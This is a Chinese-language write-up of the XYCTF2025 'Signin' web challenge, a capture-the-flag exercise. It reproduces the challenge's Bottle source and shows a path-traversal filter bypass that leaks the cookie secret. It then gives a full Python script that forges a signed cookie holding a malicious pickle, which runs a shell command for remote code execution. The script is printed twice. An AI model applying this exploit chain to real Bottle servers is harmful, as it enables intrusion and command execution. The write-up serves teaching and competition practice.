XYCTF2025 Signin 题解

263次阅读
没有评论

共计2941个字符,预计需要花费8分钟才能阅读完成。

题目

给了源码:

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

后面还给出了提示:不要爆破 uuid!想想怎么 RCE 服务器呢?

思路

看到代码第 11~12 行读取了 secret.txt 文件,现在我们虽然不知道这个 secret 有什么用,但是肯定还是会想能不能获取呢?

下面的路由 /download 有任意下载漏洞,我们访问 /download?filename=xxx 就能下载 xxx 文件。这里过滤了一些防止跨越目录的代码,但是我们可以用 ./.././../secret.txt 绕过 ../../。然后我们得到了密钥:

XYCTF2025 Signin 题解

/secret 页面下,根据题目提示,可以 RCE?我们看到 session = request.get_cookie("name", secret=secret),这行加载了 cookie,而我们又已经知道了 secret,是否跟这个有关?

我们来看看 Bottle 框架是怎么实现这个 get_cookie 函数的:

XYCTF2025 Signin 题解

这里用了 Pickle 来进行反序列化!我们都知道 Pickle 可能会导致反序列化漏洞, 不会的点这里看看
因此,我们只需要将 RCE 代码放到 cookie 里面即可!

我们可以尝试模仿 Bottle 框架的 set_cookie() 函数来写 payload:

XYCTF2025 Signin 题解

XYCTF2025 Signin 题解

通过序列化和签名来构建 cookie 的代码:

import pickle
import base64
import hmac
import hashlib
import subprocess

# 从 Bottle 框架提取的函数
unicode = str
def tob(s, enc='utf8'):
    if isinstance(s, unicode):
        return s.encode(enc)
    return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return unicode("" if s is None else s)

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
# pickle 反序列化漏洞函数 执行 eval
class Exploit:
    def __reduce__(self):
        return (eval, ("__import__('os').system('cat /flag_* > /test')", ))

encoded = base64.b64encode(pickle.dumps({'name': Exploit()}, -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded, hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)

print(value)

这里我们执行了 cat /flag_* > /test 命令,将 flag 写入了 /test 文件里。至于为什么不直接读取,因为 flag 名我们并不知道。于是得到 cookie 为 !RXIH977aUmGvq+EmAkbp5aQunq/ADev8dBKbqLYmD90=?gAWVVQAAAAAAAAB9lIwEbmFtZZSMCGJ1aWx0aW5zlIwEZXZhbJSTlIwvX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2NhdCAvZmxhZ18qID4gL3Rlc3R0JymUhZRSlHMu,并且访问 /secret,出现 Error:

XYCTF2025 Signin 题解

然后再任意文件读取 download?filename=./.././../test 就能得到 flag 了!

XYCTF2025 Signin 题解

Payload

import pickle
import base64
import hmac
import hashlib
import subprocess

# 从 Bottle 框架提取的函数
unicode = str
def tob(s, enc='utf8'):
    if isinstance(s, unicode):
        return s.encode(enc)
    return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return unicode("" if s is None else s)

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
# pickle 反序列化漏洞函数 执行 eval
class Exploit:
    def __reduce__(self):
        return (eval, ("__import__('os').system('cat /flag_* > /test')", ))

encoded = base64.b64encode(pickle.dumps({'name': Exploit()}, -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded, hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)

print(value)
正文完
 0
评论(没有评论)
验证码
zh_CN简体中文